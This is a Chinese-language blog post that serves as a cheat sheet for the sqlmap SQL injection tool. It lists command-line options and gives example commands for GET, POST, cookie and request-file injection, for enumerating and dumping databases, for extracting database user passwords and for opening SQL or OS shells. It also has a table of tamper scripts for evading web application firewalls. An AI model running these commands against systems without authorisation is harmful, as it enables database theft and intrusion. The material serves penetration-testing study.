sqlmap常用操作

1. 常见参数

参数意义
-v 3输出复杂程度,可选0-6
-u后面跟需测试的url
-r后面跟http请求所在的文件路径
–data=DATApost注入所发送的字符串
–cookie=COOKIE添加一个cookie头
–cookie-urlencode对cookie头进行url编码
–random-agent随机agent头
–referer=REFERER指定referer头
–proxy=PROXY代理
–proxy-cred admin:123代理的凭据
-o打开所有优化功能
–hpp使用http参数污染方法
-p id指定测试的参数为id
–tamper=xxx使用xxx脚本对payload进行混淆
–smart
–dbs枚举所有数据库
–tables枚举所有表
–columns枚举所有的列
–schema枚举DBMS schema
–count输出当前所查询数据的行数
–dumpdump当前数据库的所有数据
–dump-alldump所有数据库的所有数据
-D选择某个数据库
-T选择某张表
-C选择某个列
–sql-shell返回一个可执行sql语句的shell
–os-shell返回一个cmd的shell

2. 注入

2.1 get型

sqlmap -u 'http://site.com/index.php?id=Price_ASC' --dbs --random-agent -v 3

2.2 post型

sqlmap -u 'http://xxx.xxx.com/Login.asp' --data "n=1&p=1" --random-agent //post注入

2.3 获取数据库

sqlmap.py -u "http://www.xxx.com" --dbs 

2.4 获取指定数据库的表

sqlmap -u "http://www.xxx.com" -D 数据库名--tables

2.5 获取指定表的列

sqlmap -u "http://www.xxx.com" -D 数据库名-T 表名 --columns

2.6 获取指定列的字段值

sqlmap -u "http://www.xxx.com" -D 数据库名-T 表名 -C 字段名 --dump

2.7 带cookie参数的注入

sqlmap -u "http://test.cs.rm/message_content.jsp?nid=419205" -p "nid" --cookie "JSESSIONID=EC114ABC4B90D3CB1FC79874ABB5E9C6"//cookie注入

2.8 对http请求包进行sql注入探测

sqlmap -r "包文件路径" -p 注入点

2.9 使用tamper

sqlmap -u "http://www.xxx.com" --tamper='apostrophemask'

2.10 其他用法

sqlmap -u 注入点 --current-user # /*获取当前用户名称
sqlmap -u 注入点 --current-db # /*获取当前数据库名称
sqlmap -u 注入点 --is-dba #是否是数据库管理员
sqlmap -u 注入点 --passwords #数据库用户密码
sqlmap -u 注入点 --current-user # /*获取当前用户名称

3. tamper

sqlmap --list-tampers  

在这里插入图片描述

脚本作用
apostrophemask单引号url编码
apostrophenullencode单引号unicode编码
base64encode将payload进行base64编码
between将大于等于号用between替代
binary在可能的地方注入binary,将字符串转化为16进制格式,一般用在order by注入中
chardoubleencode双重url编码所有payload
charencodeurl编码所有payload
commalesslimit将逗号用offset代替
commalessmid将mid函数中的逗号用from for代替
commentbeforeparentheses在括号前加内联注释符/**/
concat2concatws将concat转化为concatws
equaltolike等号转化为like
escapequotes在单引号和双引号前面加上两个反斜杠
greatest用greatest代替大于符号
halfversionedmorekeywords关键之前加注释符号,适用于mysql<5.1
hex2char将16进制显示的数据转化为用CONCAT(CHAR(),…)来显示
htmlencodehtml编码所有非字母和数字的字符
ifnull2casewhenisnull改变ifnull语句的写法
ifnull2ifisnull替换ifnull为if(isnull(A))
informationschemacomment标示符后添加注释
least替换大于号为least
lowercase全部替换为小写值
luanginx用于绕过Lua nginx WAF,Lua nginx WAF不支持处理超过100个参数
modsecurityversioned空格替换为查询版本的注释ƒ
modsecurityzeroversioned添加完整的查询版本的注释
multiplespaces添加多个空格
overlongutf8将所有字符转义为utf8
overlongutf8more以指定的payload转换所有字符
percentage每个字符前添加%
plus2concat将加号替换为concat函数
plus2fnconcat将加号替换为ODBC函数{fnCONCAT()}
randomcase字符大小写随机替换
randomcomments/**/分割关键字
sp_password追加sp_password字符串
space2comment空格替换为/**/
space2dash空格替换为-加随机字符
space2hash空格替换为#加随机字符
space2morecomment空格替换为/_/
space2morehash空格替换为#加随机字符及换行符
space2mssqlblank空格替换为其他空符号
space2mssqlhash空格替换为%23%0A
space2mysqlblank空格替换为其他空白符号
space2mysqldash空格替换为-%0A
space2plus空格替换为加号
space2randomblank空格替换为备选字符集中的随机字符
substring2leftrightPostgreSQL中将substring函数用left right函数代替
symbliclogicalAND和OR替换为&&和
unionalltounionunion all select 替换为union select
unmagicquotes宽字符绕过GPC
uppercase全部替换为大写值
varnish添加HTTP头
versionedkeywords用注释封装每个非函数的关键字
versionedmorekewords使用注释绕过
xforwardedfor添加伪造的HTTP头

参考文章

sqlmap tamper详解

评论 11
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Shanfenglan7

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值